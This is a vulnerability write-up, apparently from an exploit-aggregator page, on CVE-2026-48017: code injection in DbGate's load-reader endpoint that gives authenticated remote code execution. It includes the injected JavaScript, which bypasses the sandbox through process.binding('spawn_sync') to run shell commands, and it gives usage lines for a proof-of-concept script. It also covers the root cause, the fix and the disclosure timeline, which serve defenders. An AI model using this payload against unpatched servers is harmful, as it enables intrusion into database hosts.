Share
## https://sploitus.com/exploit?id=71DCF1B4-43FB-5CFC-AE79-56678B58E162
# CVE-2026-48017 โ€” Remote Code Execution in DbGate via `functionName` injection

**Severity**: High (CVSS 8.8)
**CWE**: CWE-94 โ€” Improper Control of Generation of Code ('Code Injection')
**Affected**: `dbgate-api` โ‰ค 7.1.8 (patched in 7.1.9)
**Advisory**: [GHSA-hv83-ggc4-v385](https://github.com/advisories/GHSA-hv83-ggc4-v385)
**NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-48017
**Credit**: Romain Deperne


## TL;DR

The `POST /runners/load-reader` endpoint takes a `functionName` parameter and interpolates it
**directly into a JavaScript template string** that is then executed in a forked process โ€” with no
sanitization or validation. Any authenticated user (no special permission needed) can break out of
the intended call and run arbitrary JavaScript, achieving remote code execution on the server.

The forked runner sets `require = null` as a sandbox, but that is trivially bypassed:
`process.binding("spawn_sync")` is still reachable and spawns a real OS process.


## How I found this

I was auditing DbGate's runner subsystem for the gap between *guarded* and *unguarded* code-exec
paths. The `start()` runner at `runners.js:292` is properly gated โ€” it calls
`testStandardPermission('run-shell-script')` and checks `platformInfo.allowShellScripting`.

`loadReader()` does the conceptually-similar thing (it builds and runs a JS loader script) but has
**none** of those checks. I traced the data flow:

```
runners.js:353  loadReader({ functionName, props })
runners.js:366  loaderScriptTemplate(prefix, functionName, ...)
runners.js:64   `... ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});`
packageTools.ts:33  return `dbgateApi.${functionName}`   // โ† no sanitization
```

`functionName` is attacker-controlled and lands inside an executed template string. The `dbgateApi.`
prefix is the only thing in front of it, and it is escapable: closing the expression with `toString();`,
injecting the payload, and commenting out the trailing `(${props})` with `//` yields valid JS.


## Affected component

**File**: `packages/api/src/controllers/runners.js` (`loadReader` โ†’ `loaderScriptTemplate`)
**File**: `packages/tools/src/packageTools.ts:33` (`compileShellApiFunctionName`)

```js
// packageTools.ts:33 โ€” functionName flows in unsanitized
return `dbgateApi.${functionName}`;

// runners.js:64 โ€” interpolated into the executed loader template
`const reader = await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});`
```

Generated (injected) script:

```js
const reader = await dbgateApi.toString();
process.binding("spawn_sync").spawn({ file:"/bin/sh", args:["/bin/sh","-c","id"], ... });
dbgateApi.toString//({});
```


## Root cause

`compileShellApiFunctionName()` was written to turn a short name into a fully-qualified API path
(`dbgateApi.`), implicitly trusting `functionName` to be an identifier. The value, however,
comes straight from the HTTP request body. Because it is concatenated into source that is later
`eval`/forked, the trust assumption is an RCE. The `require = null` sandbox does not help โ€” Node's
internal `process.binding("spawn_sync")` bypasses it.

**Fix (7.1.9)**: validate `functionName` against a strict identifier allow-list before compiling it
into the loader script.


## Proof of Concept

`poc/rce_loadreader_functionname_injection.py` โ€” drives the real endpoint end-to-end.

```bash
# with an existing JWT
python3 poc/rce_loadreader_functionname_injection.py http://localhost:3000  'id > /tmp/pwned'

# or log in first
python3 poc/rce_loadreader_functionname_injection.py http://localhost:3000 --login admin password 'id'
```

The script builds the `functionName` payload, sends it to `POST /runners/load-reader`, and the
injected `spawn_sync` call executes the command in the forked runner process.


## Disclosure timeline

- Reported privately to the maintainer via GitHub Security Advisory
- Fixed in DbGate **7.1.9**
- Advisory **GHSA-hv83-ggc4-v385** published 2026-05-22; CVE-2026-48017 assigned


## Impact

Authenticated RCE on the DbGate API host. DbGate is a database management GUI frequently deployed
with broad network reach to internal databases โ€” code execution on it is a strong pivot into the
data tier.

---

*Disclosed responsibly. PoC published after the fix shipped, for defenders and detection engineering.*